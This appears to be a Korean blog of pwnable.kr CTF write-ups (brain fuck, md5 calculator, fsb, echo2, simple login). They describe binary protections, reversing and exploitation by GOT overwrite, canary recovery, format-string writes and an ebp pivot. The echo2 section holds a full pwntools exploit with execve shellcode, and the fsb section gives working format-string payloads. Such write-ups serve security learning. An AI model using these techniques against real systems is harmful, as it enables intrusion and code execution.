문제 푸느라, 사실 삽질하느라 날아간 일요일을 기리며 허허...

주말저녁에 문제 풀고 writeup 쓰고 있는게 싱숭생숭하면서도 보람차네요(사실 풀고나면 별거 아니지만요)


======================================================


보호 기법 확인(checksec)




CANARY, NX 확인, 서버 환경 상 ASLR enable.




프로그램 동작 분석



x86 binary, 실행 시 사용자의 입력을 받고 프로그램 종료.

겉보기엔 모르니 리버싱을 해봅시다




바이너리 리버싱






main() 에서 사용자 입력을 받아 한 글자씩 파싱. do_brainfuck() 함수 내부에서 각 case에 알맞는 기능을 처리


여기서 p 변수를 살펴보면 main() 에서 p = &tape 로 초기화하고 이때 값은 0x804a0a0 .


이 함수에서 p 의 값을 이용해 ++, --, putchar ... 등등 처리를 해주므로 이것을 이용해 볼 수 있겠다.




Exploit 전략 구성


0x804a0a0 값을 기준으로 >, < 를 이용해 메모리 값을 변경할 수 있고 getchar(), putchar() 명령을 사용할 수 있다.


다만 BOF나 다른 취약점이 아니므로 stack을 마음대로 바꾸지 못하고, parameter로 넘어가는 값을 쉽게 조작할 수 없다.


system(/bin/sh) 를 실행하기 위해 어떻게 할까



- puts() 이용 ?



puts의 GOT를 system으로 덮어쓰고 "[ and ] not supported." 를 overwrite 하려고 했는데 당연하게도 위 string의 위치는 쓰기 권한 없음


위 영역에 어떻게 접근해서 써야하나 고민 많이 했는데 당연히 안됨. 실패.


- putchar() 이용 ?



위와 비슷하게 _putchar의 GOT를 system으로 덮고 파라미터로 넘어가는 ds:p를 조작해 /bin/sh string 주소를 넘김


하지만 넘기는 값이 byte ptr [eax] 이므로 메모리 주소가 정상적으로 넘어가지 않음.


코드를 좀더 꼼꼼히 봤어야 했는데.. 실패.



- setvbuf() 이용 !


main() , do_brainfuck() 에서 이용하는 함수 중 첫번째 parameter를 control할 수 있는 함수가 뭐가 있을까 살펴보다가 




setvbuf 호출 시 첫번째 parameter는 stdin 으로




해당 값은 bss 영역으로 Read/Write 권한이 있다.


이를 이용해 다음과 같이 system(/bin/sh) 을 위한 전략을 구상했다.


1 - setvbuf() GOT 를 system() 으로 overwrite. ( 문제에서 libc도 제공하므로 두 함수 사이의 offset 계산 가능 )

2 - stdin overwrite

0x804a040  :  0x804a044

0x804a044  :  /bin/sh\x00

3 - puts() GOT 를 main() 내 setvbuf() 호출하는 코드 주소로 overwrite ( 위의 경우는 0x80486b9 )

4 - '[' 입력으로 puts() 호출.


정상적으로 쉘 획득하는 것을 확인함.




공격 코드





'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] loveletter - 50pt  (0) 2018.09.07
[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10

정성 들여 쓴글이 다 날라갔습니다 허허허

인생은 참 무엇인지... 최소한의 기록만 남겨야겠습니다.


======================================================


보호 기법 확인(checksec)




CANARY, NX 확인, 서버 환경 상 ASLR enable.




프로그램 동작 분석


x86 binary 로 사용자에게 captcha를 입력 받음

맞을 경우 base64 encoding 된 값을 입력 받아 md5 값 계산, 출력 후 프로그램 종료






취약점 탐색


사용자 입력 부분을 이것 저것 살펴보다가 base64 값 입력 부분에서 stack smashing 이 나는 것을 확인



memory leak을 해 canary를 확인해 BOF 하거나, 아니면 다른 취약점을 찾아야 함



binary를 리버싱해보면 다음과 같이 canary 와 현재 time 값 seed 의 rand() 값을 이용해 captcha를 생성하는 것을 확인할 수 있음 





즉 captcha 값과 captcha 생성 시 time seed 값을 알 수 있으면 역으로 canary 값을 계산할 수 있음


문제 설명의 hint를 보면 

hint : this service shares the same machine with pwnable.kr web service


pwnable.kr 웹서비스 요청을 통해 시간을 알 수 있다




Canary 계산


Canary 계산을 위해 unix timestamp 값과 captcha 를 입력 받아 계산해주는 코드를 짰다. 대~~충



python 코드에서 위 프로그램 호출 후 return 된 값을 & 0xffffffff 해 4바이트 처리를 해 줌




EIP control 시도


Canary 및 return address 위치 확인을 위해 gdb로 메모리 분석


A*512 를 base64 encoding 후 입력 했을 때



gdb-peda$ x/16wx $ebp-0x1c

0xbfffee9c:     0x41414141      0x41414141      0x41414141      0x41414141

0xbfffeeac:     0x464b5000      0xb7da4000      0x00000000      0xbfffeee8

                    ( Canary )

0xbfffeebc:     0x08049174      0x08049314      0xbfffeed8      0x00000001

                   (Return addr)


Payload = A * 512 + Canary 4byte + A*12 + Return addr 4byte 


위 Payload 를 base64 encoding 해 입력하면 정상적으로 EIP control 이 될 것이고 로컬 테스트 완료 함




/bin/sh 실행 방법 구상



EIP control 은 됐고... 쉘은 어떻게 잡아야될 지 생각해보자


ASLR이 적용되어 있으므로


1. Memory leak  -> libc base addr 계산 -> system(/bin/sh) 실행

2. 고정된 주소(code, bss .... ) 사용


둘 중 하나의 방법을 사용해야 할텐데 main() 함수를 보면 다음과 같이 system() 을 call 하는 곳이 있다



이제 /bin/sh 문자열만 메모리에 올리고 주소만 알면 되는건데, 변수를 살펴보면 다음과 같이 고정된 주소를 사용하는 g_buf가 있다



근데 g_buf에 들어가는 값은 base64 encoding된 값이고, decoding된 값은 스택에 들어가서 주소가 유동적임


-  "/bin/sh\n00" + encoded value  로 payload를 구성해 보내볼까?

     :  base64 decoding 이 정상적으로 될 리 없음.


- 그냥 memory leak 할까...

     :  leak 없이 해보려고 했는데 약간 아쉬움?


- 설마 base64 encoding해 /bin/sh 문자열이 될 수 있나?




     :  /bin/sh 로 디코딩 시 패딩 에러... 발생해 /bin//sh 로 사용해 정상적으로 인코딩, 디코딩 되는 것을 확인함


     : base64 인코딩으로 NULL은 만들지 못하지만 Payload 제일 마지막에 붙이면 NULL 삽입 없이 되지 않을까


결과적으로 


Payload = A * 512 + Canary 4byte + addr_of_system_call + addr_of_/bin//sh + 0xfdb8a7fffb21


로 Payload 구성, base64 encoding된 값을 입력해 정상적으로 쉘 획득 함




공격 코드


















'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10
[pwnable.kr] simple login - 50pt  (0) 2016.08.23

바이너리 보안기법 검사(checksec.sh)


RELRO             STACK CANARY      NX               PIE               RPATH        RUNPATH         FILE

Partial RELRO    No canary found    NX enabled    No PIE          No RPATH    No RUNPATH   ./fsb 




소스코드 확인


main() 에서 /dev/urandom을 이용해 8바이트 읽고 이것을 key 값으로 사용한다

이후 alloca를 이용해 0x12345 & key 만큼 메모리 할당하는데 fsb를 이용해 직접적으로 key 값에 접근하짐 못하게 하기위한 것 같다.


뭐 아무튼 fsb() 함수 내에서 다음과 같은 코드로 인해 format string bug가 발생


for(i=0; i<4; i++){

                printf("Give me some format strings(%d)\n", i+1);

                read(0, buf, 100);

                printf(buf);

 }


gdb를 이용해 fsb 발생 전, 후 스택 상태를 살펴보자 




GDB를 이용한 스택 값 확인


fsb() 에서 printf 하기 직전에 break point 설정



(gdb) b *fsb+220


Breakpoint 2, 0x08048610 in fsb ()

(gdb) x/64wx $esp

0xbfa734d0:     0x0804a100      0x0804a100      0x00000064      0xb7734b48

0xbfa734e0:     0x00000001      0x00000000      0xbfa73504      0x0804a024

0xbfa734f0:     0x0804828c      0x08048870      0x00000000      0x00000000

0xbfa73500:     0xbfa7377c      0xbfa75fd1      0xbfa73520      0xbfa73524 

0xbfa73510:     0xbfa735c4      0xbfa73590      0xbfa73578      0x08048791

0xbfa73520:     0x00000000      0x00000000      0x00000008      0xbfa73578

0xbfa73530:     0xbfa73590      0x0804a060      0xb764b4ec      0x0804874e

0xbfa73540:     0x00000003      0x0804a060      0x00000008      0x080483bd

0xbfa73550:     0xbfa75176      0x0000002f      0x08049ff4      0x00000010

0xbfa73560:     0x080487a0      0x08048480      0x00000000      0x00000003

0xbfa73570:     0xbfa73590      0xb771a000      0x00000000      0xb7589a83

0xbfa73580:     0x080487a0      0x00000000      0x00000000      0xb7589a83



소스코드 상 사용자 입력은 data 영역(변수 buf)로 들어가기 때문에 스택에서 사용할 수 없다

하지만 위에서 빨간색으로 표시한 것과 같이


i) 스택의 특정 위치를 가리키는 포인터가 저장되어 있고

ii) 위 위치에 접근 가능하기 때문에


Double staged fsb를 사용할 수 있다

그럼 어디 메모리 주소를 쓰고 그 주소를 뭘로 덮을까




GOT overwriting을 위한 주소 확인


objdump 를 이용해 바이너리의 GOT 주소를 확인


root@ubuntu:/home/u32/Desktop/pwnable/rookiss/fsb# objdump -R ./fsb


./fsb:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE 

08049ff0 R_386_GLOB_DAT    __gmon_start__

0804a000 R_386_JUMP_SLOT   read

0804a004 R_386_JUMP_SLOT   printf

...

(참고용)

(gdb) x/wx 0x804a004

0x804a004 <printf@got.plt>:     0xb75bd280


for loop를 돌면서 printf를 호출해주기때문에 printf의 GOT 주소를 덮어주면 되겠고

control flow hijacking 해서 뛸 주소는


0x080486ab <+375>:   mov    -0x24(%ebp),%eax

0x080486ae <+378>:   movl   $0x0,0x8(%esp)

0x080486b6 <+386>:   lea    -0x24(%ebp),%edx

0x080486b9 <+389>:   mov    %edx,0x4(%esp)

0x080486bd <+393>:   mov    %eax,(%esp)

0x080486c0 <+396>:   call   0x8048450 <execve@plt>


fsb() 내에서 execve(/bin/sh) 해주는 부분으로 뛰면 되겠다.


정리해보면 

i) 첫번째 fsb로 스택 내 0x804a004 값 쓰기

ii) 두번째 fsb로 0x804a004 값을 0x080486ab 로


(여기서 먼저 쓸 값보다 두번째 쓸 값이 작으므로 fsb 한번에 두개 값을 써야 하면 성가셔질뻔? 두번째 fsb사이의 값을 엄청 크게해서 0x1080486ab 로 만들어야하나? 어차피 여기선 4번 쓸 수 있기때문에 편함)




Exploit 진행 및 결과 확인


Give me some format strings(1)

%134520836c%14$n

...

Give me some format strings(2)

%134514347c%20$n

...

$





'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10
[pwnable.kr] simple login - 50pt  (0) 2016.08.23

FSB 발생 확인


hello abcd

AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x

AAAA  250005f be7d2790 38252078 38252078 be9ed700 41414141 goodbye abcd





Exploit 방안 탐색

FSB를 활용할수 있으므로 %n을 이용해 메모리 write를 통해 exploit(GOT overwriting 등) 할 수 있으나 입력할 수 있는 바이트 수가 길지 않은 상황임
또한 이 문제에선 UAF 취약점도 가지고 있으므로 
i) 쉘코드를 메모리에 쓰고
ii) 쉘코드가 올라간 주소를 알 경우
쉘코드를 실행, 쉘을 딸 수 있다.

사용자 입력을 받는 부분을 살펴보면 다음과 같이 사용자 이름을 24바이트만큼 받는 것을 확인할 수 있다.


이 메모리를 이용해 쉘코드를 업로드하면 메모리 주소만 알면 끝나는데 서버는 ASLR이 enable 되어있는 상태이므로 주소확인이 필요하다.
FSB 취약점을 이용해 메모리 쓰기 뿐 아니라 스택의 값들을 모두 출력해 볼 수 있으므로 스택에 들어있는 메모리 주소를 이용해 위 메모리의 주소를 구할 수 있다.


사용자 이름을 AAAA, FSB 내용 입력을 aaaa.%x..... 로 입력한 상황,
GDB를 이용해 FSB 취약점 내용이 출력되는 printf 직전에 스택 값들을 확인해보면

(gdb) x/64wx $rsp-0x20

0x7fffffffdc10: 0xffffdd70      0x00000020      0xffffdc30      0x00007fff

0x7fffffffdc20: 0xffffdc50      0x00007fff      0x00400858      0x00000000

0x7fffffffdc30: 0x61616161      0x2e783825      0x2e783825      0x2e783825

0x7fffffffdc40: 0x2e783825      0x2e783825      0x2e783825      0x00783825

0x7fffffffdc50: 0xffffdc90      0x00007fff      0x00400acb      0x00000000

0x7fffffffdc60: 0xffffdc90      0x00007fff      0x00000000      0x00000002

0x7fffffffdc70: 0x41414141      0x00000000      0x004006b0      0x00000000

0x7fffffffdc80: 0xffffdd70      0x00007fff      0x00000000      0x00000000

0x7fffffffdc90: 0x00000000      0x00000000      0xf7a36ec5      0x00007fff

0x7fffffffdca0: 0x00000000      0x00000000      0xffffdd78      0x00007fff



위와 같이 0x7fffffffdc50 메모리 번지에 스택의 주소가 들어있는 것을 확인해볼 수 있고 해당 주소에서 0x20 만큼을 빼면 우리가 원하는 메모리의 주소를 구할 수 있다.(물론 GDB에서 출력한 메모리 주소는 변동되지만 offset은 일정하므로)






Exploit 코드



from pwn import *

shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"

shellcode+="\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


#sh=process("/home/u64/Desktop/echo2/echo2_ori")

sh=remote("pwnable.kr",9011)

sh.recvuntil(":")

sh.sendline(shellcode)

print sh.recvuntil("> ")

sh.sendline("2")

sh.recvline()

sh.sendline("%x%x%x%x%x%x%x%x%xS%lx")

addr = sh.recvline()

addr = addr[addr.index("S")+1:].strip()

name=int(addr,16)-0x20

sh.recvuntil(">")

sh.sendline("4")

sh.sendline("n")

sh.recvuntil(">")

sh.sendline("3")

sh.recvline()

sh.sendline("A"*24+p64(name))

sh.interactive()




'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] simple login - 50pt  (0) 2016.08.23



바이너리 보안기법 검사 (checksec.sh)


 # /home/u32/Desktop/checksec.sh --file ./login                                                                        

RELRO           STACK CANARY      NX               PIE               RPATH        RUNPATH        FILE       

Partial RELRO   Canary found        NX enabled    No PIE          No RPATH   No RUNPATH   ./login


NX, Stack canary enable 확인





바이너리 리버싱



소스코드를 보면 Base64Decode한 값을 input으로 memcpy 하는 것을 확인할 수 있음.

여기서 auth(v6) 함수의 return 값이 1이면 correct() 함수 실행


correct() 함수 내부는 

 

input의 4바이트 값이 0xDEADBEEF 와 같으면 /bin/sh 실행하게 됨.



if 조건을 확인하는 auth() 함수는 아래와 같으며 함수를 대충 살펴보면 md5 계산한 해쉬 값이 f87... 와 같으면 True를 리턴하는 것 같다.



calc_md5, base64 decode 함수 따라가보면서 값을 tracking 해보려다가 다음과 같이 같은 값을 넣어도 hash 값이 계속 변동되는 것을 확인했다



즉 이 hash 값을 비교해서 correct() 로 넘어가는 게 의미 없는 상황이 됨. 어떻게 /bin/sh를 실행시킬까


여기서 AAAABBBBCCCC 12바이트를 인코딩한 QUFBQUJCQkJDQ0ND 를 입력값으로 넣으면 프로그램이 Segmentation fault를 뜨면서 죽는다.


Program received signal SIGSEGV, Segmentation fault.     

0x08049424 in main ()




Error 분석(main() 0x08049424)


Segmentation fault 시 register 값 확인


 Breakpoint 2, 0x0804941f in main ()                      

(gdb) i r                                                          

eax            0x0      0                                        

ecx            0x32     50                                      

edx            0x80da684        135112324                

ebx            0x80481d0        134513104                

esp            0xbfffee60       0xbfffee60                  

ebp            0x43434343       0x43434343              

esi            0x0      0                                         

edi            0x811b00c        135376908                 

eip            0x804941f        0x804941f <main+274>

eflags         0x200297 [ CF PF AF SF IF ID ]            

cs             0x73     115                                     

ss             0x7b     123                                     

ds             0x7b     123                                     

es             0x7b     123                                    

fs             0x0      0                                         

gs             0x33     51             


위 레지스터 값에서 보이는 것과 같이 12바이트 중 마지막 4바이트 값이 ebp로 설정된다는 것을 알 수 있다.

이 상황에서 Segmentation fault 뜨는 원인을 찾아보면 leave; ret;은 즉


leave 

mov esp,ebp

pop ebp


ret

pop eip

jmp eip


과 같다.

잘못된 ebp의 값이 esp로 들어간 후 pop 명령을 수행하게 되므로 문제가 생기는 상황.


정리해보면

1. ebp를 통한 esp 컨트롤 가능.

2. 2번째 pop 명령 결과가 eip로 들어감.


이 두가지 조건을 이용해 조작가능한 메모리공간 8바이트(dummy 4바이트 + EIP 4바이트)가 추가로 있으면 EIP 컨트롤이 가능할 수 있다

바이너리가 돌고 있는 서버는 ASLR이 적용되어있으므로 스택의 임의주소는 사용하지 못함


main 함수의 코드를 다시 보면 input은 전역 변수이므로 메모리 주소(0x0811eb40)가 고정임을 알 수 있다



Exploit을 위한 입력값은 다음과 같이 구성한다.

AAAA +  0x08049278  + 0x0811eb40

   1.               2.                 3.

1. dummy 4바이트

2. main() 에서 /bin/sh를 실행하는 주소

3. input 메모리 시작 주소


little endian 이므로 이를 고려하고 base64 encoding 해주면 결과값(QUFBQXiSBAhA6xEI)을 구할 수 있다

(pwntools 이용해서 깔끔하게 코드 짜려다가 다음 기회로...)





결과 확인




'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10

+ Recent posts